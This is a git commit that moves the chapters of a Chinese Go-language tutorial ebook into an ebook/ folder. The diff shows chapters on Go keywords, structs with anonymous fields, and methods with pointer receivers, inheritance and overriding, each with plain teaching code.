修改目录结果

This commit is contained in:
astaxie
2013-03-21 13:53:28 +08:00
parent 96130b52cc
commit 223617939f
195 changed files with 6174 additions and 6174 deletions

0
01.0.md → ebook/01.0.md Executable file → Normal file
View File

0
01.1.md → ebook/01.1.md Executable file → Normal file
View File

0
01.2.md → ebook/01.2.md Executable file → Normal file
View File

0
01.3.md → ebook/01.3.md Executable file → Normal file
View File

0
01.4.md → ebook/01.4.md Executable file → Normal file
View File

0
01.5.md → ebook/01.5.md Executable file → Normal file
View File

38
02.0.md → ebook/02.0.md Executable file → Normal file
View File

@@ -1,19 +1,19 @@
# 2 Go语言基础
Go是一门类似C的编译型语言但是它的编译速度非常快。这门语言的关键字总共也就二十五个比英文字母还少一个这对于我们的学习来说就简单了很多。先让我们看一眼这些关键字都长什么样
break default func interface select
case defer go map struct
chan else goto package switch
const fallthrough if range type
continue for import return var
在接下来的这一章中我将带领你去学习这门语言的基础。通过每一小节的介绍你将发现Go的世界是那么地简洁设计是如此地美妙编写Go将会是一件愉快的事情。等回过头来你就会发现这二十五个关键字是多么地亲切。
## 目录
![](images/navi2.png?raw=true)
## links
* [目录](<preface.md>)
* 上一章: [第一章总结](<01.5.md>)
* 下一节: [你好Go](<02.1.md>)
# 2 Go语言基础
Go是一门类似C的编译型语言但是它的编译速度非常快。这门语言的关键字总共也就二十五个比英文字母还少一个这对于我们的学习来说就简单了很多。先让我们看一眼这些关键字都长什么样
break default func interface select
case defer go map struct
chan else goto package switch
const fallthrough if range type
continue for import return var
在接下来的这一章中我将带领你去学习这门语言的基础。通过每一小节的介绍你将发现Go的世界是那么地简洁设计是如此地美妙编写Go将会是一件愉快的事情。等回过头来你就会发现这二十五个关键字是多么地亲切。
## 目录
![](images/navi2.png?raw=true)
## links
* [目录](<preface.md>)
* 上一章: [第一章总结](<01.5.md>)
* 下一节: [你好Go](<02.1.md>)

0
02.1.md → ebook/02.1.md Executable file → Normal file
View File

0
02.2.md → ebook/02.2.md Executable file → Normal file
View File

0
02.3.md → ebook/02.3.md Executable file → Normal file
View File

418
02.4.md → ebook/02.4.md Executable file → Normal file
View File

@@ -1,209 +1,209 @@
# 2.4 struct类型
## struct
Go语言中也和C或者其他语言一样我们可以声明新的类型作为其它类型的属性或字段的容器。例如我们可以创建一个自定义类型`person`代表一个人的实体。这个实体拥有属性:姓名和年龄。这样的类型我们称之`struct`。如下代码所示:
type person struct {
name string
age int
}
看到了吗声明一个struct如此简单上面的类型包含有两个字段
- 一个string类型的字段name用来保存用户名称这个属性
- 一个int类型的字段age,用来保存用户年龄这个属性
如何使用struct呢请看下面的代码
type person struct {
name string
age int
}
var P person // P现在就是person类型的变量了
P.name = "Astaxie" // 赋值"Astaxie"给P的name属性.
P.age = 25 // 赋值"25"给变量P的age属性
fmt.Printf("The person's name is %s", P.name) // 访问P的name属性.
除了上面这种P的声明使用之外还有两种声明使用方式
- 1.按照顺序提供初始化值
P := person{"Tom", 25}
- 2.通过`field:value`的方式初始化,这样可以任意顺序
P := person{age:24, name:"Tom"}
下面我们看一个完整的使用struct的例子
package main
import "fmt"
// 声明一个新的类型
type person struct {
name string
age int
}
// 比较两个人的年龄,返回年龄大的那个人,并且返回年龄差
// struct也是传值的
func Older(p1, p2 person) (person, int) {
if p1.age>p2.age { // 比较p1和p2这两个人的年龄
return p1, p1.age-p2.age
}
return p2, p2.age-p1.age
}
func main() {
var tom person
// 赋值初始化
tom.name, tom.age = "Tom", 18
// 两个字段都写清楚的初始化
bob := person{age:25, name:"Bob"}
// 按照struct定义顺序初始化值
paul := person{"Paul", 43}
tb_Older, tb_diff := Older(tom, bob)
tp_Older, tp_diff := Older(tom, paul)
bp_Older, bp_diff := Older(bob, paul)
fmt.Printf("Of %s and %s, %s is older by %d years\n",
tom.name, bob.name, tb_Older.name, tb_diff)
fmt.Printf("Of %s and %s, %s is older by %d years\n",
tom.name, paul.name, tp_Older.name, tp_diff)
fmt.Printf("Of %s and %s, %s is older by %d years\n",
bob.name, paul.name, bp_Older.name, bp_diff)
}
### struct的匿名字段
我们上面介绍了如何定义一个struct定义的时候是字段名与其类型一一对应实际上Go支持只提供类型而不写字段名的方式也就是匿名字段也称为嵌入字段。
当匿名字段是一个struct的时候那么这个struct所拥有的全部字段都被隐式地引入了当前定义的这个struct。
让我们来看一个例子,让上面说的这些更具体化
package main
import "fmt"
type Human struct {
name string
age int
weight int
}
type Student struct {
Human // 匿名字段那么默认Student就包含了Human的所有字段
speciality string
}
func main() {
// 我们初始化一个学生
mark := Student{Human{"Mark", 25, 120}, "Computer Science"}
// 我们访问相应的字段
fmt.Println("His name is ", mark.name)
fmt.Println("His age is ", mark.age)
fmt.Println("His weight is ", mark.weight)
fmt.Println("His speciality is ", mark.speciality)
// 修改对应的备注信息
mark.speciality = "AI"
fmt.Println("Mark changed his speciality")
fmt.Println("His speciality is ", mark.speciality)
// 修改他的年龄信息
fmt.Println("Mark become old")
mark.age = 46
fmt.Println("His age is", mark.age)
// 修改他的体重信息
fmt.Println("Mark is not an athlet anymore")
mark.weight += 60
fmt.Println("His weight is", mark.weight)
}
图例如下:
![](images/2.4.student_struct.png?raw=true)
图2.7 Student和Human的方法继承
我们看到Student访问属性age和name的时候就像访问自己所有用的字段一样匿名字段就是这样能够实现字段的继承。是不是很酷啊还有比这个更酷的呢那就是student还能访问Human这个字段作为字段名。请看下面的代码是不是更酷了。
mark.Human = Human{"Marcus", 55, 220}
mark.Human.age -= 1
通过匿名访问和修改字段相当的有用但是不仅仅是struct字段哦所有的内置类型和自定义类型都是可以作为匿名字段的。请看下面的例子
package main
import "fmt"
type Skills []string
type Human struct {
name string
age int
weight int
}
type Student struct {
Human // 匿名字段struct
Skills // 匿名字段自定义的类型string slice
int // 内置类型作为匿名字段
speciality string
}
func main() {
// 初始化学生Jane
jane := Student{Human:Human{"Jane", 35, 100}, speciality:"Biology"}
// 现在我们来访问相应的字段
fmt.Println("Her name is ", jane.name)
fmt.Println("Her age is ", jane.age)
fmt.Println("Her weight is ", jane.weight)
fmt.Println("Her speciality is ", jane.speciality)
// 我们来修改他的skill技能字段
jane.Skills = []string{"anatomy"}
fmt.Println("Her skills are ", jane.Skills)
fmt.Println("She acquired two new ones ")
jane.Skills = append(jane.Skills, "physics", "golang")
fmt.Println("Her skills now are ", jane.Skills)
// 修改匿名内置类型字段
jane.int = 3
fmt.Println("Her preferred number is", jane.int)
}
从上面例子我们看出来struct不仅仅能够将struct作为匿名字段、自定义类型、内置类型都可以作为匿名字段而且可以在相应的字段上面进行函数操作如例子中的append
这里有一个问题如果human里面有一个字段叫做phone而student也有一个字段叫做phone那么该怎么办呢
Go里面很简单的解决了这个问题最外层的优先访问也就是当你通过`student.phone`访问的时候是访问student里面的字段而不是human里面的字段。
这样就允许我们去重载通过匿名字段继承的一些字段,当然如果我们想访问重载后对应匿名类型里面的字段,可以通过匿名字段名来访问。请看下面的例子
package main
import "fmt"
type Human struct {
name string
age int
phone string // Human类型拥有的字段
}
type Employee struct {
Human // 匿名字段Human
speciality string
phone string // 雇员的phone字段
}
func main() {
Bob := Employee{Human{"Bob", 34, "777-444-XXXX"}, "Designer", "333-222"}
fmt.Println("Bob's work phone is:", Bob.phone)
// 如果我们要访问Human的phone字段
fmt.Println("Bob's personal phone is:", Bob.Human.phone)
}
## links
* [目录](<preface.md>)
* 上一章: [流程和函数](<02.3.md>)
* 下一节: [面向对象](<02.5.md>)
# 2.4 struct类型
## struct
Go语言中也和C或者其他语言一样我们可以声明新的类型作为其它类型的属性或字段的容器。例如我们可以创建一个自定义类型`person`代表一个人的实体。这个实体拥有属性:姓名和年龄。这样的类型我们称之`struct`。如下代码所示:
type person struct {
name string
age int
}
看到了吗声明一个struct如此简单上面的类型包含有两个字段
- 一个string类型的字段name用来保存用户名称这个属性
- 一个int类型的字段age,用来保存用户年龄这个属性
如何使用struct呢请看下面的代码
type person struct {
name string
age int
}
var P person // P现在就是person类型的变量了
P.name = "Astaxie" // 赋值"Astaxie"给P的name属性.
P.age = 25 // 赋值"25"给变量P的age属性
fmt.Printf("The person's name is %s", P.name) // 访问P的name属性.
除了上面这种P的声明使用之外还有两种声明使用方式
- 1.按照顺序提供初始化值
P := person{"Tom", 25}
- 2.通过`field:value`的方式初始化,这样可以任意顺序
P := person{age:24, name:"Tom"}
下面我们看一个完整的使用struct的例子
package main
import "fmt"
// 声明一个新的类型
type person struct {
name string
age int
}
// 比较两个人的年龄,返回年龄大的那个人,并且返回年龄差
// struct也是传值的
func Older(p1, p2 person) (person, int) {
if p1.age>p2.age { // 比较p1和p2这两个人的年龄
return p1, p1.age-p2.age
}
return p2, p2.age-p1.age
}
func main() {
var tom person
// 赋值初始化
tom.name, tom.age = "Tom", 18
// 两个字段都写清楚的初始化
bob := person{age:25, name:"Bob"}
// 按照struct定义顺序初始化值
paul := person{"Paul", 43}
tb_Older, tb_diff := Older(tom, bob)
tp_Older, tp_diff := Older(tom, paul)
bp_Older, bp_diff := Older(bob, paul)
fmt.Printf("Of %s and %s, %s is older by %d years\n",
tom.name, bob.name, tb_Older.name, tb_diff)
fmt.Printf("Of %s and %s, %s is older by %d years\n",
tom.name, paul.name, tp_Older.name, tp_diff)
fmt.Printf("Of %s and %s, %s is older by %d years\n",
bob.name, paul.name, bp_Older.name, bp_diff)
}
### struct的匿名字段
我们上面介绍了如何定义一个struct定义的时候是字段名与其类型一一对应实际上Go支持只提供类型而不写字段名的方式也就是匿名字段也称为嵌入字段。
当匿名字段是一个struct的时候那么这个struct所拥有的全部字段都被隐式地引入了当前定义的这个struct。
让我们来看一个例子,让上面说的这些更具体化
package main
import "fmt"
type Human struct {
name string
age int
weight int
}
type Student struct {
Human // 匿名字段那么默认Student就包含了Human的所有字段
speciality string
}
func main() {
// 我们初始化一个学生
mark := Student{Human{"Mark", 25, 120}, "Computer Science"}
// 我们访问相应的字段
fmt.Println("His name is ", mark.name)
fmt.Println("His age is ", mark.age)
fmt.Println("His weight is ", mark.weight)
fmt.Println("His speciality is ", mark.speciality)
// 修改对应的备注信息
mark.speciality = "AI"
fmt.Println("Mark changed his speciality")
fmt.Println("His speciality is ", mark.speciality)
// 修改他的年龄信息
fmt.Println("Mark become old")
mark.age = 46
fmt.Println("His age is", mark.age)
// 修改他的体重信息
fmt.Println("Mark is not an athlet anymore")
mark.weight += 60
fmt.Println("His weight is", mark.weight)
}
图例如下:
![](images/2.4.student_struct.png?raw=true)
图2.7 Student和Human的方法继承
我们看到Student访问属性age和name的时候就像访问自己所有用的字段一样匿名字段就是这样能够实现字段的继承。是不是很酷啊还有比这个更酷的呢那就是student还能访问Human这个字段作为字段名。请看下面的代码是不是更酷了。
mark.Human = Human{"Marcus", 55, 220}
mark.Human.age -= 1
通过匿名访问和修改字段相当的有用但是不仅仅是struct字段哦所有的内置类型和自定义类型都是可以作为匿名字段的。请看下面的例子
package main
import "fmt"
type Skills []string
type Human struct {
name string
age int
weight int
}
type Student struct {
Human // 匿名字段struct
Skills // 匿名字段自定义的类型string slice
int // 内置类型作为匿名字段
speciality string
}
func main() {
// 初始化学生Jane
jane := Student{Human:Human{"Jane", 35, 100}, speciality:"Biology"}
// 现在我们来访问相应的字段
fmt.Println("Her name is ", jane.name)
fmt.Println("Her age is ", jane.age)
fmt.Println("Her weight is ", jane.weight)
fmt.Println("Her speciality is ", jane.speciality)
// 我们来修改他的skill技能字段
jane.Skills = []string{"anatomy"}
fmt.Println("Her skills are ", jane.Skills)
fmt.Println("She acquired two new ones ")
jane.Skills = append(jane.Skills, "physics", "golang")
fmt.Println("Her skills now are ", jane.Skills)
// 修改匿名内置类型字段
jane.int = 3
fmt.Println("Her preferred number is", jane.int)
}
从上面例子我们看出来struct不仅仅能够将struct作为匿名字段、自定义类型、内置类型都可以作为匿名字段而且可以在相应的字段上面进行函数操作如例子中的append
这里有一个问题如果human里面有一个字段叫做phone而student也有一个字段叫做phone那么该怎么办呢
Go里面很简单的解决了这个问题最外层的优先访问也就是当你通过`student.phone`访问的时候是访问student里面的字段而不是human里面的字段。
这样就允许我们去重载通过匿名字段继承的一些字段,当然如果我们想访问重载后对应匿名类型里面的字段,可以通过匿名字段名来访问。请看下面的例子
package main
import "fmt"
type Human struct {
name string
age int
phone string // Human类型拥有的字段
}
type Employee struct {
Human // 匿名字段Human
speciality string
phone string // 雇员的phone字段
}
func main() {
Bob := Employee{Human{"Bob", 34, "777-444-XXXX"}, "Designer", "333-222"}
fmt.Println("Bob's work phone is:", Bob.phone)
// 如果我们要访问Human的phone字段
fmt.Println("Bob's personal phone is:", Bob.Human.phone)
}
## links
* [目录](<preface.md>)
* 上一章: [流程和函数](<02.3.md>)
* 下一节: [面向对象](<02.5.md>)

650
02.5.md → ebook/02.5.md Executable file → Normal file
View File

@@ -1,325 +1,325 @@
# 2.5 面向对象
前面两章我们介绍了函数和struct那你是否想过函数当作struct的字段一样来处理呢今天我们就讲解一下函数的另一种形态带有接收者的函数我们称为`method`
## method
现在假设有这么一个场景你定义了一个struct叫做长方形你现在想要计算他的面积那么按照我们一般的思路应该会用下面的方式来实现
package main
import "fmt"
type Rectangle struct {
width, height float64
}
func area(r Rectangle) float64 {
return r.width*r.height
}
func main() {
r1 := Rectangle{12, 2}
r2 := Rectangle{9, 4}
fmt.Println("Area of r1 is: ", area(r1))
fmt.Println("Area of r2 is: ", area(r2))
}
这段代码可以计算出来长方形的面积但是area()不是作为Rectangle的方法实现的类似面向对象里面的方法而是将Rectangle的对象如r1,r2作为参数传入函数计算面积的。
这样实现当然没有问题咯,但是当需要增加圆形、正方形、五边形甚至其它多边形的时候,你想计算他们的面积的时候怎么办啊?那就只能增加新的函数咯,但是函数名你就必须要跟着换了,变成`area_rectangle, area_circle, area_triangle...`
像下图所表示的那样, 椭圆代表函数, 而这些函数并不从属于struct(或者以面向对象的术语来说并不属于class)他们是单独存在于struct外围而非在概念上属于某个struct的。
![](images/2.5.rect_func_without_receiver.png?raw=true)
图2.8 方法和struct的关系图
很显然,这样的实现并不优雅,并且从概念上来说"面积"是"形状"的一个属性,它是属于这个特定的形状的,就像长方形的长和宽一样。
基于上面的原因所以就有了`method`的概念,`method`是附属在一个给定的类型上的,他的语法和函数的声明语法几乎一样,只是在`func`后面增加了一个receiver(也就是method所依从的主体)。
用上面提到的形状的例子来说method `area()` 是依赖于某个形状(比如说Rectangle)来发生作用的。Rectangle.area()的发出者是Rectangle area()是属于Rectangle的方法而非一个外围函数。
更具体地说Rectangle存在字段length 和 width, 同时存在方法area(), 这些字段和方法都属于Rectangle。
用Rob Pike的话来说就是
>"A method is a function with an implicit first argument, called a receiver."
method的语法如下
func (r ReceiverType) funcName(parameters) (results)
下面我们用最开始的例子用method来实现
package main
import (
"fmt"
"math"
)
type Rectangle struct {
width, height float64
}
type Circle struct {
radius float64
}
func (r Rectangle) area() float64 {
return r.width*r.height
}
func (c Circle) area() float64 {
return c.radius * c.radius * math.Pi
}
func main() {
r1 := Rectangle{12, 2}
r2 := Rectangle{9, 4}
c1 := Circle{10}
c2 := Circle{25}
fmt.Println("Area of r1 is: ", r1.area())
fmt.Println("Area of r2 is: ", r2.area())
fmt.Println("Area of c1 is: ", c1.area())
fmt.Println("Area of c2 is: ", c2.area())
}
在使用method的时候重要注意几点
- 虽然method的名字一模一样但是如果接收者不一样那么method就不一样
- method里面可以访问接收者的字段
- 调用method通过`.`访问就像struct里面访问字段一样
图示如下:
![](images/2.5.shapes_func_with_receiver_cp.png?raw=true)
图2.9 不同struct的method不同
在上例method area() 分别属于Rectangle和Circle 于是他们的 Receiver 就变成了Rectangle 和 Circle, 或者说这个area()方法 是由 Rectangle/Circle 发出的。
>值得说明的一点是图示中method用虚线标出意思是此处方法的Receiver是以值传递而非引用传递是的Receiver还可以是指针, 两者的差别在于, 指针作为Receiver会对实例对象的内容发生操作,而普通类型作为Receiver仅仅是以副本作为操作对象,并不对原实例对象发生操作。后文对此会有详细论述。
那是不是method只能作用在struct上面呢当然不是咯他可以定义在任何你自定义的类型、内置类型、struct等各种类型上面。这里你是不是有点迷糊了什么叫自定义类型自定义类型不就是struct嘛不是这样的哦struct只是自定义类型里面一种比较特殊的类型而已还有其他自定义类型申明可以通过如下这样的申明来实现。
type typeName typeLiteral
请看下面这个申明自定义类型的代码
type ages int
type money float32
type months map[string]int
m := months {
"January":31,
"February":28,
...
"December":31,
}
看到了吗?简单的很吧,这样你就可以在自己的代码里面定义有意义的类型了,实际上只是一个定义了一个别名,有点类似于c中的typedef例如上面ages替代了int
好了,让我们回到`method`
你可以在任何的自定义类型中定义任意多的`method`,接下来让我们看一个复杂一点的例子
package main
import "fmt"
const(
WHITE = iota
BLACK
BLUE
RED
YELLOW
)
type Color byte
type Box struct {
width, height, depth float64
color Color
}
type BoxList []Box //a slice of boxes
func (b Box) Volume() float64 {
return b.width * b.height * b.depth
}
func (b *Box) SetColor(c Color) {
b.color = c
}
func (bl BoxList) BiggestsColor() Color {
v := 0.00
k := Color(WHITE)
for _, b := range bl {
if b.Volume() > v {
v = b.Volume()
k = b.color
}
}
return k
}
func (bl BoxList) PaintItBlack() {
for i, _ := range bl {
bl[i].SetColor(BLACK)
}
}
func (c Color) String() string {
strings := []string {"WHITE", "BLACK", "BLUE", "RED", "YELLOW"}
return strings[c]
}
func main() {
boxes := BoxList {
Box{4, 4, 4, RED},
Box{10, 10, 1, YELLOW},
Box{1, 1, 20, BLACK},
Box{10, 10, 1, BLUE},
Box{10, 30, 1, WHITE},
Box{20, 20, 20, YELLOW},
}
fmt.Printf("We have %d boxes in our set\n", len(boxes))
fmt.Println("The volume of the first one is", boxes[0].Volume(), "cm³")
fmt.Println("The color of the last one is",boxes[len(boxes)-1].color.String())
fmt.Println("The biggest one is", boxes.BiggestsColor().String())
fmt.Println("Let's paint them all black")
boxes.PaintItBlack()
fmt.Println("The color of the second one is", boxes[1].color.String())
fmt.Println("Obviously, now, the biggest one is", boxes.BiggestsColor().String())
}
上面的代码通过const定义了一些常量然后定义了一些自定义类型
- Color作为byte的别名
- 定义了一个struct:Box含有三个长宽高字段和一个颜色属性
- 定义了一个slice:BoxList含有Box
然后以上面的自定义类型为接收者定义了一些method
- Volume()定义了接收者为Box返回Box的容量
- SetColor(c Color)把Box的颜色改为c
- BiggestsColor()定在在BoxList上面返回list里面容量最大的颜色
- PaintItBlack()把BoxList里面所有Box的颜色全部变成黑色
- String()定义在Color上面返回Color的具体颜色(字符串格式)
上面的代码通过文字描述出来之后是不是很简单?我们一般解决问题都是通过问题的描述,去写相应的代码实现。
### 指针作为receiver
现在让我们回过头来看看SetColor这个method它的receiver是一个指向Box的指针是的你可以使用*Box。想想为啥要使用指针而不是Box本身呢
我们定义SetColor的真正目的是想改变这个Box的颜色如果不传Box的指针那么SetColor接受的其实是Box的一个copy也就是说method内对于颜色值的修改其实只作用于Box的copy而不是真正的Box。所以我们需要传入指针。
这里可以把receiver当作method的第一个参数来看然后结合前面函数讲解的传值和传引用就不难理解
这里你也许会问了那SetColor函数里面应该这样定义`*b.Color=c`,而不是`b.Color=c`,因为我们需要读取到指针相应的值。
你是对的其实Go里面这两种方式都是正确的当你用指针去访问相应的字段时(虽然指针没有任何的字段)Go知道你要通过指针去获取这个值看到了吧Go的设计是不是越来越吸引你了。
也许细心的读者会问这样的问题PaintItBlack里面调用SetColor的时候是不是应该写成`(&bl[i]).SetColor(BLACK)`因为SetColor的receiver是*Box而不是Box。
你又说对的这两种方式都可以因为Go知道receiver是指针他自动帮你转了。
也就是说:
>如果一个method的receiver是*T,你可以在一个T类型的实例变量V上面调用这个method而不需要&V去调用这个method
类似的
>如果一个method的receiver是T你可以在一个*T类型的变量P上面调用这个method而不需要 *P去调用这个method
所以你不用担心你是调用的指针的method还是不是指针的methodGo知道你要做的一切这对于有多年C/C++编程经验的同学来说,真是解决了一个很大的痛苦。
### method继承
前面一章我们学习了字段的继承那么你也会发现Go的一个神奇之处method也是可以继承的。如果匿名字段实现了一个method那么包含这个匿名字段的struct也能调用该method。让我们来看下面这个例子
package main
import "fmt"
type Human struct {
name string
age int
phone string
}
type Student struct {
Human //匿名字段
school string
}
type Employee struct {
Human //匿名字段
company string
}
//在human上面定义了一个method
func (h *Human) SayHi() {
fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone)
}
func main() {
mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"}
sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"}
mark.SayHi()
sam.SayHi()
}
### method重写
上面的例子中如果Emplyee想要实现自己的SayHi,怎么办简单和匿名字段冲突一样的道理我们可以在Emplyee上面定义一个method重写了匿名字段的方法。请看下面的例子
package main
import "fmt"
type Human struct {
name string
age int
phone string
}
type Student struct {
Human //匿名字段
school string
}
type Employee struct {
Human //匿名字段
company string
}
//Human定义method
func (h *Human) SayHi() {
fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone)
}
//Employee的method重写Human的method
func (e *Employee) SayHi() {
fmt.Printf("Hi, I am %s, I work at %s. Call me on %s\n", e.name,
e.company, e.phone) //Yes you can split into 2 lines here.
}
func main() {
mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"}
sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"}
mark.SayHi()
sam.SayHi()
}
上面的代码设计的是如此的美妙让人不自觉的为Go的设计惊叹
通过这些内容我们可以设计出基本的面向对象的程序了但是Go里面的面向对象是如此的简单没有任何的私有、公有关键字通过大小写来实现(大写开头的为共有,小写开头的为私有),方法也同样适用这个原则。
## links
* [目录](<preface.md>)
* 上一章: [struct类型](<02.4.md>)
* 下一节: [interface](<02.6.md>)
# 2.5 面向对象
前面两章我们介绍了函数和struct那你是否想过函数当作struct的字段一样来处理呢今天我们就讲解一下函数的另一种形态带有接收者的函数我们称为`method`
## method
现在假设有这么一个场景你定义了一个struct叫做长方形你现在想要计算他的面积那么按照我们一般的思路应该会用下面的方式来实现
package main
import "fmt"
type Rectangle struct {
width, height float64
}
func area(r Rectangle) float64 {
return r.width*r.height
}
func main() {
r1 := Rectangle{12, 2}
r2 := Rectangle{9, 4}
fmt.Println("Area of r1 is: ", area(r1))
fmt.Println("Area of r2 is: ", area(r2))
}
这段代码可以计算出来长方形的面积但是area()不是作为Rectangle的方法实现的类似面向对象里面的方法而是将Rectangle的对象如r1,r2作为参数传入函数计算面积的。
这样实现当然没有问题咯,但是当需要增加圆形、正方形、五边形甚至其它多边形的时候,你想计算他们的面积的时候怎么办啊?那就只能增加新的函数咯,但是函数名你就必须要跟着换了,变成`area_rectangle, area_circle, area_triangle...`
像下图所表示的那样, 椭圆代表函数, 而这些函数并不从属于struct(或者以面向对象的术语来说并不属于class)他们是单独存在于struct外围而非在概念上属于某个struct的。
![](images/2.5.rect_func_without_receiver.png?raw=true)
图2.8 方法和struct的关系图
很显然,这样的实现并不优雅,并且从概念上来说"面积"是"形状"的一个属性,它是属于这个特定的形状的,就像长方形的长和宽一样。
基于上面的原因所以就有了`method`的概念,`method`是附属在一个给定的类型上的,他的语法和函数的声明语法几乎一样,只是在`func`后面增加了一个receiver(也就是method所依从的主体)。
用上面提到的形状的例子来说method `area()` 是依赖于某个形状(比如说Rectangle)来发生作用的。Rectangle.area()的发出者是Rectangle area()是属于Rectangle的方法而非一个外围函数。
更具体地说Rectangle存在字段length 和 width, 同时存在方法area(), 这些字段和方法都属于Rectangle。
用Rob Pike的话来说就是
>"A method is a function with an implicit first argument, called a receiver."
method的语法如下
func (r ReceiverType) funcName(parameters) (results)
下面我们用最开始的例子用method来实现
package main
import (
"fmt"
"math"
)
type Rectangle struct {
width, height float64
}
type Circle struct {
radius float64
}
func (r Rectangle) area() float64 {
return r.width*r.height
}
func (c Circle) area() float64 {
return c.radius * c.radius * math.Pi
}
func main() {
r1 := Rectangle{12, 2}
r2 := Rectangle{9, 4}
c1 := Circle{10}
c2 := Circle{25}
fmt.Println("Area of r1 is: ", r1.area())
fmt.Println("Area of r2 is: ", r2.area())
fmt.Println("Area of c1 is: ", c1.area())
fmt.Println("Area of c2 is: ", c2.area())
}
在使用method的时候重要注意几点
- 虽然method的名字一模一样但是如果接收者不一样那么method就不一样
- method里面可以访问接收者的字段
- 调用method通过`.`访问就像struct里面访问字段一样
图示如下:
![](images/2.5.shapes_func_with_receiver_cp.png?raw=true)
图2.9 不同struct的method不同
在上例method area() 分别属于Rectangle和Circle 于是他们的 Receiver 就变成了Rectangle 和 Circle, 或者说这个area()方法 是由 Rectangle/Circle 发出的。
>值得说明的一点是图示中method用虚线标出意思是此处方法的Receiver是以值传递而非引用传递是的Receiver还可以是指针, 两者的差别在于, 指针作为Receiver会对实例对象的内容发生操作,而普通类型作为Receiver仅仅是以副本作为操作对象,并不对原实例对象发生操作。后文对此会有详细论述。
那是不是method只能作用在struct上面呢当然不是咯他可以定义在任何你自定义的类型、内置类型、struct等各种类型上面。这里你是不是有点迷糊了什么叫自定义类型自定义类型不就是struct嘛不是这样的哦struct只是自定义类型里面一种比较特殊的类型而已还有其他自定义类型申明可以通过如下这样的申明来实现。
type typeName typeLiteral
请看下面这个申明自定义类型的代码
type ages int
type money float32
type months map[string]int
m := months {
"January":31,
"February":28,
...
"December":31,
}
看到了吗?简单的很吧,这样你就可以在自己的代码里面定义有意义的类型了,实际上只是一个定义了一个别名,有点类似于c中的typedef例如上面ages替代了int
好了,让我们回到`method`
你可以在任何的自定义类型中定义任意多的`method`,接下来让我们看一个复杂一点的例子
package main
import "fmt"
const(
WHITE = iota
BLACK
BLUE
RED
YELLOW
)
type Color byte
type Box struct {
width, height, depth float64
color Color
}
type BoxList []Box //a slice of boxes
func (b Box) Volume() float64 {
return b.width * b.height * b.depth
}
func (b *Box) SetColor(c Color) {
b.color = c
}
func (bl BoxList) BiggestsColor() Color {
v := 0.00
k := Color(WHITE)
for _, b := range bl {
if b.Volume() > v {
v = b.Volume()
k = b.color
}
}
return k
}
func (bl BoxList) PaintItBlack() {
for i, _ := range bl {
bl[i].SetColor(BLACK)
}
}
func (c Color) String() string {
strings := []string {"WHITE", "BLACK", "BLUE", "RED", "YELLOW"}
return strings[c]
}
func main() {
boxes := BoxList {
Box{4, 4, 4, RED},
Box{10, 10, 1, YELLOW},
Box{1, 1, 20, BLACK},
Box{10, 10, 1, BLUE},
Box{10, 30, 1, WHITE},
Box{20, 20, 20, YELLOW},
}
fmt.Printf("We have %d boxes in our set\n", len(boxes))
fmt.Println("The volume of the first one is", boxes[0].Volume(), "cm³")
fmt.Println("The color of the last one is",boxes[len(boxes)-1].color.String())
fmt.Println("The biggest one is", boxes.BiggestsColor().String())
fmt.Println("Let's paint them all black")
boxes.PaintItBlack()
fmt.Println("The color of the second one is", boxes[1].color.String())
fmt.Println("Obviously, now, the biggest one is", boxes.BiggestsColor().String())
}
上面的代码通过const定义了一些常量然后定义了一些自定义类型
- Color作为byte的别名
- 定义了一个struct:Box含有三个长宽高字段和一个颜色属性
- 定义了一个slice:BoxList含有Box
然后以上面的自定义类型为接收者定义了一些method
- Volume()定义了接收者为Box返回Box的容量
- SetColor(c Color)把Box的颜色改为c
- BiggestsColor()定在在BoxList上面返回list里面容量最大的颜色
- PaintItBlack()把BoxList里面所有Box的颜色全部变成黑色
- String()定义在Color上面返回Color的具体颜色(字符串格式)
上面的代码通过文字描述出来之后是不是很简单?我们一般解决问题都是通过问题的描述,去写相应的代码实现。
### 指针作为receiver
现在让我们回过头来看看SetColor这个method它的receiver是一个指向Box的指针是的你可以使用*Box。想想为啥要使用指针而不是Box本身呢
我们定义SetColor的真正目的是想改变这个Box的颜色如果不传Box的指针那么SetColor接受的其实是Box的一个copy也就是说method内对于颜色值的修改其实只作用于Box的copy而不是真正的Box。所以我们需要传入指针。
这里可以把receiver当作method的第一个参数来看然后结合前面函数讲解的传值和传引用就不难理解
这里你也许会问了那SetColor函数里面应该这样定义`*b.Color=c`,而不是`b.Color=c`,因为我们需要读取到指针相应的值。
你是对的其实Go里面这两种方式都是正确的当你用指针去访问相应的字段时(虽然指针没有任何的字段)Go知道你要通过指针去获取这个值看到了吧Go的设计是不是越来越吸引你了。
也许细心的读者会问这样的问题PaintItBlack里面调用SetColor的时候是不是应该写成`(&bl[i]).SetColor(BLACK)`因为SetColor的receiver是*Box而不是Box。
你又说对的这两种方式都可以因为Go知道receiver是指针他自动帮你转了。
也就是说:
>如果一个method的receiver是*T,你可以在一个T类型的实例变量V上面调用这个method而不需要&V去调用这个method
类似的
>如果一个method的receiver是T你可以在一个*T类型的变量P上面调用这个method而不需要 *P去调用这个method
所以你不用担心你是调用的指针的method还是不是指针的methodGo知道你要做的一切这对于有多年C/C++编程经验的同学来说,真是解决了一个很大的痛苦。
### method继承
前面一章我们学习了字段的继承那么你也会发现Go的一个神奇之处method也是可以继承的。如果匿名字段实现了一个method那么包含这个匿名字段的struct也能调用该method。让我们来看下面这个例子
package main
import "fmt"
type Human struct {
name string
age int
phone string
}
type Student struct {
Human //匿名字段
school string
}
type Employee struct {
Human //匿名字段
company string
}
//在human上面定义了一个method
func (h *Human) SayHi() {
fmt.Printf("Hi, I am %s you can call me on %s\n", h.name, h.phone)
}
func main() {
mark := Student{Human{"Mark", 25, "222-222-YYYY"}, "MIT"}
sam := Employee{Human{"Sam", 45, "111-888-XXXX"}, "Golang Inc"}
mark.SayHi()
sam.SayHi()
}
### method重写
上面的例子中如果Emplyee想要实现自己的SayHi,怎么办简单和匿名字段冲突一样的道理我们可以在Emplyee上面定义一个method重写了匿名字段的方法。请看下面的例子
package main
import "fmt"
type Human struct {
name string
age int
phone string
}
type Student struct {
Human //匿名字段
school string
}
type Employee struct {
Human //匿名字段
company string
}
//Human定义method
func (h *Human) SayHi() {
